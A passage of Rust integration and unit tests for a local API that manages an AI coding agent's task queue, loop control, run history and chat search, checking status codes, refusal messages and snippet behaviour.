18506 assert_eq!(body["instruction"], "new instruction");
18507 assert_eq!(body["id"], task.id, "editing must not mint a new id");
18508 assert_eq!(body["created_at"], created_at.to_string());
18509 assert_eq!(
18510 body["source"]["kind"], "agent",
18511 "editing a task an agent filed must not turn it human: {body}"
18512 );
18513 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18514
18515 let reloaded = queue.get(&task.id).expect("reload");
18516 assert_eq!(reloaded.title, "new title");
18517 assert_eq!(reloaded.instruction, "new instruction");
18518 }
18519
18520 #[tokio::test]
18521 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18522 let tmp = TempDir::new().expect("tempdir");
18525 let repo = tmp.path().join("repo");
18526 std::fs::create_dir_all(&repo).expect("repo dir");
18527 let judge = MOCK_AGENT_TOML.replace(
18528 "printf ok",
18529 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18530 );
18531 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18532 let f = Fixture::with_repo(repo.clone()).await;
18533 let queue = f.queue();
18534 let mut owner = Task::new(
18535 "owner".to_owned(),
18536 "review it".to_owned(),
18537 repo.clone(),
18538 Source::Human,
18539 );
18540 owner.review_branch = Some("magi/ab12/A".to_owned());
18541 queue.put(&mut owner).expect("file the owner");
18542 let mut task = Task::new(
18543 "draft".to_owned(),
18544 "old".to_owned(),
18545 repo.clone(),
18546 Source::Human,
18547 );
18548 queue.put(&mut task).expect("file the draft");
18549 let url = format!("/api/queue/{}/edit", task.id);
18550
18551 let refused = f
18552 .post(
18553 &url,
18554 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18555 )
18556 .await;
18557 assert_eq!(refused.status, 409, "{}", refused.body);
18558 let msg = refused.json()["error"]
18559 .as_str()
18560 .unwrap_or_default()
18561 .to_owned();
18562 assert!(
18563 msg.contains("magi/ab12/A") && msg.contains("force"),
18564 "{msg}"
18565 );
18566 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18567
18568 let forced = f
18569 .post(
18570 &url,
18571 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18572 )
18573 .await;
18574 assert_eq!(forced.status, 200, "{}", forced.body);
18575 }
18576
18577 #[tokio::test]
18578 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18579 let f = Fixture::start().await;
18580 let queue = f.queue();
18581 let mut task = Task::new(
18582 "in flight".to_owned(),
18583 "do not touch".to_owned(),
18584 PathBuf::from("/repo/magi"),
18585 Source::Human,
18586 );
18587 task.start("20260902-140502-bbbb".to_owned());
18588 queue.put(&mut task).expect("file the task");
18589
18590 let res = f
18591 .post(
18592 &format!("/api/queue/{}/edit", task.id),
18593 Some(r#"{"title":"x","instruction":"y"}"#),
18594 )
18595 .await;
18596 assert_eq!(res.status, 400, "{}", res.body);
18597 assert!(
18598 res.json()["error"]
18599 .as_str()
18600 .is_some_and(|e| e.contains("running")),
18601 "{}",
18602 res.body
18603 );
18604 assert_eq!(
18605 queue.get(&task.id).expect("reload").instruction,
18606 "do not touch",
18607 "the refused edit must not change the file"
18608 );
18609 }
18610
18611 #[tokio::test]
18612 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18613 let f = Fixture::start().await;
18614 let queue = f.queue();
18615 let mut task = Task::new(
18616 "busy".to_owned(),
18617 "Running right now".to_owned(),
18618 PathBuf::from("/repo/magi"),
18619 Source::Human,
18620 );
18621 queue.put(&mut task).expect("file the task");
18622 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18623
18624 let priority = f
18625 .post(
18626 &format!("/api/queue/{}/priority", task.id),
18627 Some(r#"{"priority":9}"#),
18628 )
18629 .await;
18630 assert_eq!(priority.status, 409, "{}", priority.body);
18631
18632 let edit = f
18633 .post(
18634 &format!("/api/queue/{}/edit", task.id),
18635 Some(r#"{"title":"x","instruction":"y"}"#),
18636 )
18637 .await;
18638 assert_eq!(edit.status, 409, "{}", edit.body);
18639 }
18640
18641 #[tokio::test]
18642 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18643 let f = Fixture::start().await;
18644 let queue = f.queue();
18645 let mut task = Task::new(
18646 "shipped by hand".to_owned(),
18647 "merged outside the loop".to_owned(),
18648 PathBuf::from("/repo/magi"),
18649 Source::Agent {
18650 run: "20260101-000000-b455".to_owned(),
18651 node: "implement".to_owned(),
18652 },
18653 );
18654 task.runs.push("20260101-000000-b455".to_owned());
18655 task.runs.push("20260101-000000-9af4".to_owned());
18656 queue.put(&mut task).expect("file the task");
18657 let created_at = task.created_at;
18658
18659 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18660 assert_eq!(done.status, 200, "{}", done.body);
18661 assert_eq!(done.json()["status_str"], "done");
18662
18663 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18664 assert_eq!(
18665 reloaded.runs,
18666 ["20260101-000000-b455", "20260101-000000-9af4"]
18667 );
18668 assert_eq!(
18669 reloaded.source,
18670 Source::Agent {
18671 run: "20260101-000000-b455".to_owned(),
18672 node: "implement".to_owned(),
18673 }
18674 );
18675 assert_eq!(reloaded.created_at, created_at);
18676 }
18677
18678 #[tokio::test]
18679 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18680 let f = Fixture::start().await;
18685 let queue = f.queue();
18686 let mut task = Task::new(
18687 "landed while held".to_owned(),
18688 "x".to_owned(),
18689 PathBuf::from("/repo/magi"),
18690 Source::Human,
18691 );
18692 task.hold_manual(Some("waiting on 3ed9".to_owned()));
18693 queue.put(&mut task).expect("file the held task");
18694
18695 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18696 assert_eq!(done.status, 200, "{}", done.body);
18697 assert_eq!(done.json()["status_str"], "done");
18698 assert!(
18699 done.json()["hold_reason"].is_null(),
18700 "a done task cannot still be waiting on something: {}",
18701 done.body
18702 );
18703 }
18704
18705 #[tokio::test]
18706 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18707 let f = Fixture::start().await;
18712 let queue = f.queue();
18713 let runs = f.runs();
18714 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18715 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18719
18720 let mut task = Task::new(
18721 "landed by hand".to_owned(),
18722 "x".to_owned(),
18723 PathBuf::from("/repo/magi"),
18724 Source::Human,
18725 );
18726 task.runs.push("20260101-000000-doa1".to_owned());
18727 task.runs.push("20260101-000000-doa2".to_owned());
18728 queue.put(&mut task).expect("file the task");
18729
18730 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18731 assert_eq!(done.status, 200, "{}", done.body);
18732
18733 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18734 .expect("run still on disk under this fixture's own home");
18735 assert_eq!(
18736 reloaded_run.status,
18737 RunStatus::Superseded,
18738 "closing the task by hand must relabel the earlier blocked attempt exactly \
18739 like the loop's own settle path does"
18740 );
18741 }
18742
18743 #[tokio::test]
18744 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18745 let f = Fixture::start().await;
18750 let queue = f.queue();
18751 let runs = f.runs();
18752 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18753 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18754
18755 let mut task = Task::new(
18756 "closed with nothing actually landed".to_owned(),
18757 "x".to_owned(),
18758 PathBuf::from("/repo/magi"),
18759 Source::Human,
18760 );
18761 task.runs.push("20260101-000000-dob1".to_owned());
18762 task.runs.push("20260101-000000-dob2".to_owned());
18763 queue.put(&mut task).expect("file the task");
18764
18765 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18766 assert_eq!(done.status, 200, "{}", done.body);
18767
18768 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18769 .expect("run still on disk under this fixture's own home");
18770 assert_eq!(
18771 reloaded_run.status,
18772 RunStatus::Blocked,
18773 "the last recorded attempt never landed, so the earlier one must not be \
18774 relabelled as superseded by it"
18775 );
18776 }
18777
18778 #[tokio::test]
18779 async fn unknown_ids_are_json_not_found_on_both_stores() {
18780 let f = Fixture::start().await;
18781
18782 let run = f.get("/api/runs/nosuchrun").await;
18783 let task = f.post("/api/queue/nosuchtask/hold", None).await;
18784
18785 assert_eq!(run.status, 404);
18786 assert_eq!(task.status, 404);
18787 assert!(
18788 run.json()["error"]
18789 .as_str()
18790 .is_some_and(|e| e.contains("run")),
18791 "the error names what was not found: {}",
18792 run.body
18793 );
18794 assert!(
18795 task.json()["error"]
18796 .as_str()
18797 .is_some_and(|e| e.contains("task")),
18798 "the error names what was not found: {}",
18799 task.body
18800 );
18801 }
18802
18803 #[tokio::test]
18804 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18805 let f = Fixture::start().await;
18806
18807 let missing = f.get("/api/health").await.json();
18808 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18809
18810 write_daemon(
18811 f.home.path(),
18812 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18813 );
18814 let stale = f.get("/api/health").await.json();
18815 assert_eq!(
18816 stale["daemon"]["running"], false,
18817 "a minute without a heartbeat is a dead daemon, not a busy one"
18818 );
18819 assert!(
18820 stale["daemon"]["stale_for_secs"]
18821 .as_i64()
18822 .is_some_and(|s| s >= 55),
18823 "staleness is reported so the UI can say how long: {stale}"
18824 );
18825
18826 write_daemon(f.home.path(), Timestamp::now());
18827 let fresh = f.get("/api/health").await.json();
18828 assert_eq!(fresh["daemon"]["running"], true);
18829 assert_eq!(fresh["daemon"]["idle"], false);
18830 assert_eq!(fresh["daemon"]["pid"], 4242);
18831 assert_eq!(fresh["daemon"]["completed"], 7);
18832 assert_eq!(
18833 fresh["daemon"]["current"][0]["task"],
18834 "20260902-140501-aaaa"
18835 );
18836 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18837 }
18838
18839 #[tokio::test]
18840 async fn the_loop_is_not_running_until_something_starts_it() {
18841 let f = Fixture::start().await;
18842
18843 let view = f.get("/api/loop").await.json();
18844 assert_eq!(view["running"], false);
18845 assert_eq!(
18846 view["owned"], false,
18847 "nobody owns a loop that does not exist: {view}"
18848 );
18849 assert_eq!(view["stopping"], false);
18850 assert_eq!(view["last_error"], Value::Null);
18851 assert_eq!(view["daemon"]["running"], false);
18852 assert_eq!(
18853 view["repo"], "/repo/magi",
18854 "the repository a start would use, named before it is started"
18855 );
18856 }
18857
18858 #[tokio::test]
18859 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18860 let f = Fixture::start().await;
18861
18862 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18863 assert_eq!(res.status, 200, "{}", res.body);
18864 let view = res.json();
18865 assert_eq!(view["running"], true);
18866 assert_eq!(
18867 view["owned"], true,
18868 "the loop the UI started is the UI's own to stop: {view}"
18869 );
18870 assert_eq!(
18871 view["merge"],
18872 Value::Null,
18873 "no override was given, so each repository's own config decides"
18874 );
18875
18876 let health = f.get("/api/health").await.json();
18880 assert_eq!(health["loop"]["running"], true, "{health}");
18881 assert_eq!(health["loop"]["owned"], true, "{health}");
18882
18883 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18884 }
18885
18886 #[tokio::test]
18887 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18888 let f = Fixture::start().await;
18889 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18890 assert_eq!(first.status, 200, "{}", first.body);
18891
18892 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18893 assert_eq!(
18894 again.status, 409,
18895 "two loops on one queue race for the same claims: {}",
18896 again.body
18897 );
18898 assert!(
18899 again.json()["error"]
18900 .as_str()
18901 .is_some_and(|e| e.contains("already running the loop")),
18902 "the refusal has to say why: {}",
18903 again.body
18904 );
18905 assert_eq!(
18906 f.get("/api/loop").await.json()["running"],
18907 true,
18908 "and the loop that was already running is untouched by it"
18909 );
18910
18911 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18912 }
18913
18914 #[tokio::test]
18915 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18916 let f = Fixture::start().await;
18917 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18918
18919 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18920 assert_eq!(
18921 res.status, 200,
18922 "the answer must not wait for the loop: a run in flight is tens of \
18923 minutes and the operator is holding a phone: {}",
18924 res.body
18925 );
18926
18927 let view = settled(&f, |v| v["running"] == false).await;
18928 assert_eq!(view["owned"], false);
18929 assert_eq!(
18930 view["stopping"], false,
18931 "a loop that has stopped is not still stopping: {view}"
18932 );
18933 assert_eq!(
18934 view["last_error"],
18935 Value::Null,
18936 "a loop that was asked to stop did not fail: {view}"
18937 );
18938
18939 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18942 assert_eq!(twice.status, 200, "{}", twice.body);
18943 }
18944
18945 #[tokio::test]
18946 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18947 let f = Fixture::start().await;
18948 write_daemon(f.home.path(), Timestamp::now());
18951
18952 let view = f.get("/api/loop").await.json();
18953 assert_eq!(view["running"], false, "not in this process: {view}");
18954 assert_eq!(view["owned"], false, "and not this process's to control");
18955 assert_eq!(
18956 view["daemon"]["running"], true,
18957 "but a loop is alive somewhere, which is what the UI must say"
18958 );
18959 assert_eq!(view["daemon"]["pid"], 4242);
18960
18961 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18962 let res = f.post("/api/loop", Some(body)).await;
18963 assert_eq!(
18964 res.status, 409,
18965 "neither button may pretend to work on someone else's loop: {}",
18966 res.body
18967 );
18968 assert!(
18969 res.json()["error"]
18970 .as_str()
18971 .is_some_and(|e| e.contains("4242")),
18972 "the refusal has to name the process the operator must go to: {}",
18973 res.body
18974 );
18975 }
18976 assert_eq!(
18977 f.get("/api/loop").await.json()["running"],
18978 false,
18979 "and the refusal started nothing"
18980 );
18981 }
18982
18983 #[tokio::test]
18984 async fn a_stale_status_file_is_not_a_foreign_owner() {
18985 let f = Fixture::start().await;
18986 write_daemon(
18987 f.home.path(),
18988 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18989 );
18990
18991 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18992 assert_eq!(
18993 res.status, 200,
18994 "a daemon killed a minute ago must not lock the loop out of its \
18995 own home for good: {}",
18996 res.body
18997 );
18998 assert_eq!(res.json()["running"], true);
18999
19000 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19001 }
19002
19003 #[tokio::test]
19004 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19005 let f = Fixture::start().await;
19006 let before = f.get("/api/health").await.json()["loop_rev"]
19007 .as_u64()
19008 .expect("a loop revision");
19009
19010 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19011
19012 let after = f.get("/api/health").await.json()["loop_rev"]
19013 .as_u64()
19014 .expect("a loop revision");
19015 assert!(
19016 after > before,
19017 "the loop is in-process state, so this counter is the only thing \
19018 that tells a second device the first one started it: {before} -> \
19019 {after}"
19020 );
19021
19022 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19023 }
19024
19025 #[tokio::test]
19026 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19027 let f = Fixture::with_loop(launch_broken).await;
19028
19029 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19030 assert_eq!(
19031 res.status, 200,
19032 "starting it is not the failure: {}",
19033 res.body
19034 );
19035
19036 let view = settled(&f, |v| v["last_error"].is_string()).await;
19037 assert_eq!(
19038 view["running"], false,
19039 "a loop that died must not read as running, or the operator has \
19040 nothing to press: {view}"
19041 );
19042 assert_eq!(view["owned"], false);
19043 assert!(
19044 view["last_error"]
19045 .as_str()
19046 .is_some_and(|e| e.contains("read-only file system")),
19047 "the phone is where a loop that died at 3am is visible: {view}"
19048 );
19049
19050 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19053 assert_eq!(again.status, 200, "{}", again.body);
19054 assert!(
19055 again.json()["last_error"]
19056 .as_str()
19057 .is_none_or(|e| !e.contains("read-only file system")),
19058 "a fresh start does not keep showing why the last one died: {}",
19059 again.body
19060 );
19061 }
19062
19063 #[tokio::test]
19064 async fn a_newer_daemon_status_file_still_renders() {
19065 let f = Fixture::start().await;
19066 std::fs::write(
19069 f.home.path().join("daemon.json"),
19070 serde_json::json!({
19071 "schema": 2,
19072 "updated_at": Timestamp::now().to_string(),
19073 "idle": true,
19074 "surprise": { "nested": [1, 2, 3] },
19075 })
19076 .to_string(),
19077 )
19078 .expect("write daemon.json");
19079
19080 let health = f.get("/api/health").await;
19081
19082 assert_eq!(health.status, 200);
19083 assert_eq!(health.json()["daemon"]["running"], true);
19084 }
19085
19086 #[tokio::test]
19087 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19088 let f = Fixture::start().await;
19089 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19090 let broken = f.runs().join("20260902-140502-bad");
19091 std::fs::create_dir_all(&broken).expect("run dir");
19092 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19093
19094 let list = f.get("/api/runs").await;
19095 let detail = f.get("/api/runs/20260902-140502-bad").await;
19096
19097 assert_eq!(list.status, 200);
19098 let listed = list.json();
19099 let ids: Vec<&str> = listed
19100 .as_array()
19101 .expect("an array")
19102 .iter()
19103 .map(|r| r["id"].as_str().expect("an id"))
19104 .collect();
19105 assert_eq!(
19106 ids,
19107 vec!["20260902-140501-good"],
19108 "one unreadable run must not cost the operator the whole history"
19109 );
19110 assert_eq!(detail.status, 500);
19111 assert!(
19112 detail.json()["error"]
19113 .as_str()
19114 .is_some_and(|e| e.contains("run.json")),
19115 "the failure names the file to look at: {}",
19116 detail.body
19117 );
19118 let health = f.get("/api/health").await;
19122 assert_eq!(health.json()["runs_unreadable"], 1);
19123 }
19124
19125 #[tokio::test]
19127 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19128 let f = Fixture::start().await;
19129 let runs = f.runs();
19130 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19131 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19132 let path = runs.join("20260902-140502-bbbb").join("run.json");
19135 let mut v: serde_json::Value =
19136 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19137 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19138 std::fs::write(&path, v.to_string()).unwrap();
19139 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19140 std::fs::write(
19141 runs.join("20260902-140503-cccc").join("run.json"),
19142 "{ not json",
19143 )
19144 .unwrap();
19145
19146 let res = f.get("/api/search?scope=runs&q=quokka").await;
19147 assert_eq!(res.status, 200, "{}", res.body);
19148 let v = res.json();
19149 assert_eq!(v["total"], 1, "{v}");
19150 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19151 assert_eq!(v["hits"][0]["field"], "text");
19152 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19153 let parts = v["hits"][0]["snippet"].as_array().unwrap();
19154 assert!(
19155 parts
19156 .iter()
19157 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19158 "{v}"
19159 );
19160 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19161 assert_eq!(
19162 flat, "The Quokka leaks across threads",
19163 "whitespace is collapsed"
19164 );
19165
19166 let both = f
19168 .get("/api/search?scope=runs&q=MOBILE%20quokka")
19169 .await
19170 .json();
19171 assert_eq!(both["total"], 1, "{both}");
19172 let neither = f
19173 .get("/api/search?scope=runs&q=quokka%20zebra")
19174 .await
19175 .json();
19176 assert_eq!(neither["total"], 0, "{neither}");
19177 let stmt = f
19179 .get("/api/search?scope=runs&q=mobile%20first")
19180 .await
19181 .json();
19182 assert_eq!(stmt["total"], 2, "{stmt}");
19183 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19184 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19185 }
19186
19187 #[test]
19188 fn snippet_ignores_terms_longer_than_the_field() {
19189 let terms = ["ok".to_owned(), "elephant".to_owned()];
19190 let parts = snippet_of("ok", &terms);
19191 assert_eq!(
19192 parts,
19193 vec![SnippetPart {
19194 text: "ok".to_owned(),
19195 hit: true
19196 }]
19197 );
19198 }
19199
19200 #[test]
19201 fn snippet_marks_matches_longer_than_the_window() {
19202 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19203 let hit_len = |parts: &[SnippetPart]| -> usize {
19204 parts
19205 .iter()
19206 .filter(|p| p.hit)
19207 .map(|p| p.text.chars().count())
19208 .sum()
19209 };
19210 let total =
19211 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19212
19213 let long = "a".repeat(120);
19214 let parts = snippet_of(&long, std::slice::from_ref(&long));
19215 assert!(hit_len(&parts) > 0, "{parts:?}");
19216 assert!(total(&parts) <= cap);
19217
19218 let ja = "あ".repeat(130);
19219 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19220 assert!(hit_len(&parts) > 0, "{parts:?}");
19221 assert!(total(&parts) <= cap);
19222
19223 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19225 let term = format!("ab{}", "c".repeat(100));
19226 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19227 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19228 assert!(total(&parts) <= cap);
19229
19230 let text = format!("{}z", "a".repeat(119));
19232 let parts = snippet_of(&text, &["a".repeat(120)]);
19233 assert_eq!(hit_len(&parts), 0, "{parts:?}");
19234 }
19235
19236 #[tokio::test]
19237 async fn search_caps_hits_and_snippet_length() {
19238 let f = Fixture::start().await;
19239 let runs = f.runs();
19240 for n in 0..(SEARCH_MAX_HITS + 5) {
19241 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19242 }
19243 let v = f.get("/api/search?scope=runs&q=web").await.json();
19244 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19245 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19246 assert_eq!(v["truncated"], true);
19247 assert!(
19249 v["hits"]
19250 .as_array()
19251 .unwrap()
19252 .iter()
19253 .all(|h| h["run"]["status"] == "merged")
19254 );
19255
19256 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19257 let parts = snippet_of(&long, &["needle".to_owned()]);
19258 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19259 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19260 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19261 }
19262
19263 #[tokio::test]
19264 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19265 let f = Fixture::start().await;
19266 let queue = f.queue();
19267 let mut t = Task::new(
19268 "short title".to_owned(),
19269 "line one\nthe hidden Armadillo detail".to_owned(),
19270 PathBuf::from("/repo/magi"),
19271 Source::Agent {
19272 run: "r1".to_owned(),
19273 node: "chat".to_owned(),
19274 },
19275 );
19276 t.last_error = Some("disk full on /tmp".to_owned());
19277 queue.put(&mut t).expect("file the task");
19278
19279 for (q, want) in [
19280 ("armadillo", 1),
19281 ("disk%20FULL", 1),
19282 ("chat", 1),
19283 ("queued", 1),
19284 ("short%20nothing", 0),
19285 ] {
19286 let v = f
19287 .get(&format!("/api/search?scope=tasks&q={q}"))
19288 .await
19289 .json();
19290 assert_eq!(v["total"], want, "{q}: {v}");
19291 }
19292 for bad in [
19293 "/api/search?scope=tasks&q=",
19294 "/api/search?scope=tasks&q=%20",
19295 "/api/search?scope=chats&q=",
19296 "/api/search?scope=chats&q=%20",
19297 "/api/search?scope=nope&q=a",
19298 "/api/search?q=a",
19299 ] {
19300 assert_eq!(f.get(bad).await.status, 400, "{bad}");
19301 }
19302 }
19303
19304 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19306 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19307 .expect("seat value");
19308 let turns: Vec<serde_json::Value> = turns
19309 .iter()
19310 .map(|(who, body)| {
19311 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19312 })
19313 .collect();
19314 let doc = serde_json::json!({
19315 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19316 "status": status, "turns": turns,
19317 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19318 "seat": seat,
19319 });
19320 let dir = f.home.path().join("talks");
19321 std::fs::create_dir_all(&dir).expect("talks dir");
19322 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19323 }
19324
19325 #[test]
19326 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19327 let mut talk: Talk = serde_json::from_value(serde_json::json!({
19328 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19329 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19330 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19331 "seat": crate::agent::SeatState::new("talk", "test", 1)
19332 })).unwrap();
19333 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19334 talk.title = Some(talk::ChatTitle {
19335 text: "最近の話題".into(),
19336 source: talk::TitleSource::Generated,
19337 });
19338 let doc = talk_search_doc(&talk);
19339 assert_eq!(doc["title"], "最近の話題");
19340 assert_eq!(doc["turns"][0]["operator"], "古い話題");
19341 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19342 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19343 }
19344
19345 #[test]
19346 fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19347 let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19348 talk.title = Some(talk::ChatTitle {
19349 text: "Saved title".into(),
19350 source: talk::TitleSource::Manual,
19351 });
19352 talk.turns = serde_json::from_value(serde_json::json!([
19353 {
19354 "who": "operator", "sender": "external", "body": "External plain",
19355 "at": "2026-09-08T20:58:02Z"
19356 },
19357 {
19358 "who": "operator", "body": "External message",
19359 "at": "2026-09-08T20:58:03Z",
19360 "messages": [{
19361 "sender": "external", "body": "External message", "attachments": []
19362 }]
19363 }
19364 ]))
19365 .unwrap();
19366 let doc = talk_search_doc(&talk);
19367 assert_eq!(doc["turns"][0]["external"], "External plain");
19368 assert_eq!(doc["turns"][1]["external"], "External message");
19369 assert!(doc["turns"][0].get("operator").is_none());
19370 assert!(doc["turns"][1].get("operator").is_none());
19371 let hit = search_chat(&search_terms("message"), &talk).unwrap();
19372 assert_eq!(hit.field, "external");
19373 let target = hit.target.unwrap();
19374 assert_eq!((target.turn, target.message), (1, 0));
19375 }
19376
19377 #[test]
19378 fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19379 let talk: Talk = serde_json::from_value(serde_json::json!({
19380 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19381 "status": "open", "title": {"text":"Saved title", "source":"manual"},
19382 "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19383 "messages":[{"body":"First message", "attachments":[], "reply":null},
19384 {"body":"Search 運用", "attachments":[], "reply":null}]},
19385 {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19386 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19387 "seat": crate::agent::SeatState::new("talk", "test", 1)
19388 })).unwrap();
19389 let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19390 let target = hit.target.unwrap();
19391 assert_eq!((target.turn, target.message), (0, 1));
19392 assert_eq!(target.text, chat_text_key("Search 運用"));
19393 assert_eq!(
19394 hit.snippet,
19395 snippet_of("Search 運用", &search_terms("運用 Another"))
19396 );
19397 assert!(
19398 search_chat(&search_terms("Saved"), &talk)
19399 .unwrap()
19400 .target
19401 .is_none()
19402 );
19403 assert!(
19404 search_chat(&search_terms("ab12"), &talk)
19405 .unwrap()
19406 .target
19407 .is_none()
19408 );
19409 assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19411 assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19412 }
19413
19414 #[test]
19415 fn chat_search_targets_opener_derived_titles() {
19416 let mut talk: Talk = serde_json::from_value(serde_json::json!({
19417 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19418 "status": "open", "turns": [
19419 {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19420 {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19421 {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19422 "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19423 "seat": crate::agent::SeatState::new("talk", "test", 1)
19424 }))
19425 .unwrap();
19426 let terms = search_terms("運用");
19427 let hit = search_chat(&terms, &talk).unwrap();
19428 assert_eq!(hit.field, "title");
19429 assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19430 let target = hit.target.unwrap();
19431 assert_eq!((target.turn, target.message), (1, 0));
19432 assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19433 talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19435 {"body":"", "attachments":[], "reply":null},
19436 {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19437 ]))
19438 .unwrap();
